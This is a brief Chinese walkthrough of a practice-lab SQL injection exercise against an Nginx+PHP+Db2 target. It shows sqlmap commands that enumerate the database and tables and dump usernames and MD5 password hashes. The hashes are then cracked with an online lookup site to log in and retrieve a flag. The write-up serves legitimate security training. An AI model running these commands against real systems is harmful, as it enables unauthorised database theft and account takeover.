背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+Db2,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Db2的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
步骤
一、来到登陆界面,我们点击下面公告位置,进入到公告界面,复制页面链接
二、打开sqlmap,输入python3 sqlmap.py -u "刚刚复制的链接" --current-db –batch运行,得到当前数据库名
二、查询数据库名查询当前数据库表,输入以下命令python3 sqlmap.py -u "刚刚复制的链接" -D DB2INST1 --tables –batch运行,得到表名。
三、查询表的数据,python3 sqlmap.py -u "自己复制的链接" -D DB2INST1 -T GAME_CHARACTER --dump --batch 运行 ,可以发现就一个id,通过判断可能是隐藏了其他字段,我们指定字段,查询python3 sqlmap.py -u "自己复制的链接" -D DB2INST1 -T GAME_CHARACTER -C id,name,password --dump --batch 运行,查询到用户名和密码
四、通过观察是MD5加密的,我们用在线工具https://www.cmd5.com/进行解密
五、登陆,发现自有第二个用户可以登陆,找到KEY